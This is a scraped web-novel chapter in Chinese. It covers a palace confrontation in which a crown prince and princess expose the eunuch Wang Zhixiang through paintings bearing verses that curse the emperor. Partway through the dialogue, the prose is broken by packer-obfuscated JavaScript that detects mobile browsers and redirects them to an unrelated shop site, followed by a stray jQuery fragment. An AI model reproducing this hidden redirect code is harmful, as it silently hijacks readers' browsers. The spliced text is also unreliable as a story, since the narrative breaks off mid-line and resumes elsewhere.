文趣网 > 其他小说 > 错穿太子新婚夜 > 64. 罪证(下)
    咚咚咚咚。

    咚咚咚咚。

    咚咚咚咚。

    皇帝用力抹了把额头,又揉了揉耳朵,眯着眼睛望向宫门方向,烦躁地说道:“什么声音?吵死了。”

    汪志祥眼珠滴溜溜一转,鞠躬笑道:“回陛下,只是有刁民寻衅滋事罢了,陛下不用管他。”

    皇帝用小指掏掏耳朵,啧啧嘴,“那个声音……什么东西?感觉有点耳熟。”

    禁军统领匆匆忙忙跑到殿内。

    “什么事儿!慌慌张张的,陛下面前岂能失仪!”汪志祥尖声呵斥道。

    “启禀陛下,太子殿下和太子妃回来了,在宫外敲登闻鼓!”

    鼓声震耳欲聋,褚一墨手持鼓槌敲击登闻鼓,时珉手捧罪证在宫门前呐喊,众多百姓驻足观望。

    “太监汪志祥,草菅人命、鱼肉百姓、残害忠良、欺君罔上,恳请父皇严惩奸佞,以慰民心!”

    宫门徐徐打开。这一次,没有接驾的马车轿撵,没有拦路的守卫太监,褚一墨和时珉二人踏入宫门。

    “儿臣参见父皇。”褚一墨和时珉行礼道。

    皇帝神色淡漠阴冷,许久没有说话。过了半晌,他长吁一口气,说道:“太子,你可知罪?”

    “儿臣擅自胁太子妃逃离宫城,罪该万死。然儿臣恳请将功折罪,请父皇明察。”

    “三番五次冒犯天威,你若不是朕的儿子……哎,你说有功,功从何来?”

    “儿臣恳请,为大燊铲除奸佞,除暴安良,安慰民心。”褚一墨睨了一眼站在皇帝身边,气定神闲的汪志祥,“假道观爆炸一案,儿臣与太子妃接到百姓伸冤控告,汪志祥靠假道观掩人耳目,私下制造为人所不齿的邪药,更有活人取血、躯体炼丹等残忍行径。他为了炼药,掳走平民百姓上百人,其中甚至还有不少婴童,强行掳走成年男女逼迫他们行不轨之事,用活人试药,不论生死。汪志祥亲自督察邪药试炼成果。先前线索只指向汪志祥的手下,现如今,人证物证俱在,请父皇明察!”

    时珉手捧书册,递向皇帝。

    皇帝冷冷瞥了一眼,对褚一墨说道,“太子啊,汪公公处事确实有些偏激,但有些事情,必须要有代价。当年先皇感染恶疾,太医都说他命不久矣,若不是汪公公甘愿承受恶名,逼迫太医炼药,先皇恐怕早就驾崩了。先皇若是早早驾崩,国家动乱,不知要死多少平民百姓。朕会命人好好安抚那些为国尽忠的百姓,让其亲眷衣食无忧。此事,便就此作罢吧。”

    汪志祥缓缓动了动眼睫,神态自若。

    褚一墨和时珉对视一眼,心意已然相通,皇帝早就知道,也从没想过为此事惩罚汪志祥,恐怕这炼药之事和皇帝也有关系。

    褚一墨继续说道,“此次苏丞相收受考生贿赂一事,子虚乌有,所有赃贿都是考生送给汪志祥,再由汪志祥转赠苏丞相,丞相对此事并不知情。此外,丞相已将历年来汪志祥以父皇的名义、以内臣名义赠与的赃贿清点造册,所有赃贿都保存在丞相府库房中,以待悉数归还朝廷。父皇,儿臣此处还有汪志祥结党营私、受贿行贿、陷害忠良、以权谋私种种罪证,每一条都是万死之罪。儿臣为民请命,还请父皇莫因旧时恩情而寒了民心。”

    皇帝起身,走到太子面前,睥睨了一眼时珉手上捧着的书册,长叹一声,语重心长地说道:“太子心系百姓,朕心甚慰。太子知道为民不易,可知为官不易,为君更是不易?君主要推行政令,百官各执己见,借着政令朋党相争,若非使用非常手段,则君王之位形同虚设。皇帝九五至尊,可底下臣子各个自诩天命,表面忠心耿耿,实则是虚与委蛇、谋取私利,你若是坐上了这个位置,便知许多事情不是非黑即白,便会理解,朕作为君主,有千千万万的身不由己。”

    汪志祥心满意足地舒了口气,眼神慵懒地看着他们。

    “父皇,此次伸冤的百姓中,有一人身份有异,据说是汪公公在宫外私宅的家丁。此人常被汪志祥及其仆从殴打,满身伤痕,无奈投告无门,只能从汪志祥私宅中盗取罪证。此物便是罪证之一。”时珉放下书册,卸下别在腰间的一支圆筒。

    时珉打开圆筒,从里面抽出一幅画卷,继续说道,“此画卷保存在汪志祥书房书柜中,从画卷边缘可知,汪公公时常展阅赏玩。只是画卷内容大不敬,儿臣不知汪公公收藏此画意欲何为,还请父皇明鉴。”

    汪志祥眼皮抬起,皱了皱眉,头略微朝前伸,斜眼看着时珉手里的画卷。

    皇帝垂眸接过画卷,眼神看似依旧淡漠,但眸光中闪过一丝犹疑。

    画卷展开,上面画着的,是汪志祥踩在一块岩石上,昂首眺望远方的景象。

    汪志祥舒了口气,挑了挑眉不以为意,不过是谄媚他的画作罢了。

    皇帝看着画卷上的画面,只是略微皱眉,直到他看到画卷下方的两行题字,神情陡变。

    “‘三尊萎弱今朝殁,十载嗤嘲现世湮’,汪公公可知,这诗词是什么意思?”时珉念出画作上的诗词,看向汪志祥。

    汪志祥眼神稍有停滞,干咳一声,说道:“太子妃,老奴在这诗词上没什么见识。只知句子是夸奖当朝焕然一新,扫除积久颓废之相的,乃是称颂我朝的诗句。只是这画作,多有夸大之意,老奴也是心中有愧。”

    “哦?汪公公知道这诗句的意思,却对其隐含之意避而不谈么?”时珉问道。

    “这……老奴才学不高,还请太子妃赐教。”

    “如此显而易见,公公竟然不知。‘三尊萎弱今朝殁,十载嗤嘲现世湮’,这‘三’与‘十’是父皇的生辰,‘殁’与‘湮’皆是代表消亡的不吉之意,这连起来,就是将父皇的生辰与消亡合在一起,实乃诅咒之句。不知汪公公日日观摩此画,是何意味啊?”

    汪志祥双眉倏然紧皱,眼神快速流转,随即立刻跪下,“太子妃,这、老奴实在不知这诗句如此大逆不道,老奴不通文墨,实乃无心之失啊!”汪志祥跪着爬到皇帝脚边,抬头看了一眼皇帝,见他神色有异,赶紧求饶:“陛下,陛下,老奴绝无此心,还请陛下明鉴啊!”

    “‘绝无此心’么?”时珉眼神一凛,厉声问道:“是汪公公不通文墨不知其中深意?亦或是,公公根本不认得这诗文上写的是什么字?还是汪公公不知父皇的生辰是三月初十?又或者公公明知这诗犯讳,看这诗文却更是满意?”

    汪志祥额头不知不觉冒出汗来,惨白的脸逐渐变得黑红,“不是的,不是的,老奴,老奴不知这诗句是这个意思。太子妃所言是不是、是不是有些牵强?而且这画作、这画作放在我书房里久了,我也不知是是谁送的,一定是有人要陷害我!此人居心叵测啊陛下!”

    皇帝提着画作,扔到汪志祥跟前,此刻,皇帝眼神不再如刚才那边森冷不屑,转而暗含怒火。

    “这是你收藏的画,对么?”

    “不是,不是……”

    “你刚刚只是远远瞥了一眼,就知道画作内容,现在却否认?”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948124|209191||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >“这、一定是小人陷害我,况且、况且诗句晦涩,真实含义不可知啊。”

    “父皇,据儿臣所知,还有另一卷画册,画风类似,题的诗句正是下半句。”褚一墨说道,“两幅画作的诗句连在一起,就是:

    三尊萎弱今朝殁,

    十载嗤嘲现世湮。

    寂月空言初日落,

    祥云漫盖炙穹天。

    父皇,这后半段词义过于明晰,儿臣听了汪公公家丁所言,真是觉得不堪入耳。不过那幅画作家丁没有偷出来,现在应该还在汪公公的书房里。若父皇此刻派人去取,便能找到。”

    “去取。”

    “不、不是、什么、什么意思……”汪志祥顿觉此事发展得越来越莫名其妙,家里奉承他的画作诗词数不胜数,怎么偏偏这两幅被抓出来。

    汪志祥私宅离宫城很近,一队禁军快马加鞭将画作呈上。

    褚一墨展开画卷,说道:“这画作,画的是汪公公踏山观海,诗句是‘寂月空言初日落,祥云漫盖炙穹天’。汪公公,父皇名唤‘褚纪’,这‘寂月’、‘初日落’犯了父皇的名讳,‘落’字又含消逝之意,但这‘祥云漫盖炙穹天’,与汪公公名字相近的诗词,倒是有光辉灿烂之意。到底是汪公公不懂诗词,不认得词字,还是汪公公不知父皇的名字?又或者……汪公公,莫非你盼着父皇早日西去,好取而代之?”

    “啊……没有……没有!”汪志祥重重磕头,“陛下,陛下,没有这样的事!这画卷,这画卷一定是别人偷偷放在我书房的,我平日里伺候陛下,哪里得空赏画?定是有人栽赃陷害!”

    皇帝深呼吸,时珉听出他的声音有些颤抖。他将另一幅画作扔到汪志祥面前,“这两幅画,系带手法、纸张磨损程度、褪色程度,都是一样的。是禁军拿着朕的御令从你家里搜出来的。”

    皇帝走到汪志祥面前,眼神无比阴鸷,“我问你,你是不是真的,盼着我死?”

    “不是的!陛下!不是的!我没有、我不知道这画是从哪儿来的、我不知道这诗词的意思,我不懂这些字……”

    “连‘三’‘十’‘寂’‘初’,这几个字,都不懂么?”皇帝目不转睛盯着汪志祥。

    “不是的、不是、是、太子、太子曲解了诗词的意思,老奴冤枉、老奴冤枉啊!”汪志祥老泪纵横,但皇帝没有再看他。

    皇帝背过身去,走回龙椅,扶着扶手,“带他下去,打入大牢。”

    几日前,牢狱中,苏承舟对时珉和褚一墨说道:“汪志祥做了何等恶事,皇帝根本不在乎,因为在皇帝眼里,汪志祥是他的亲人。所以不能从政事下手,要让皇帝和汪志祥之间生出嫌隙,必要从情感上下手。我曾给汪志祥埋下一个隐雷,是两幅画作,他颇为满意,只是不知道他放在哪里,若能抄家,或许可以找到。”

    褚一墨思索片刻,说道:“可是皇帝不给汪志祥定下罪责,没有抄家的理由。”

    “我倒是有个办法。”

    时珉出宫后,问苏颖:“你在汪志祥那边,有自己的人吧?”

    苏颖睁大了眼睛,愣了一下,“姐姐怎么知道?”

    “放火烧丞相府,或许是汪志祥的吩咐,但是将我们囚禁在暗室,是你自己的主意。而且自从你进入丞相府,做的许多事情并非全然对汪志祥有利,能够顺利做成,想必在他那里有人可以帮你。”

    苏颖颔首一笑,“姐姐想让我做什么?”

    “让你的人去找两幅画。”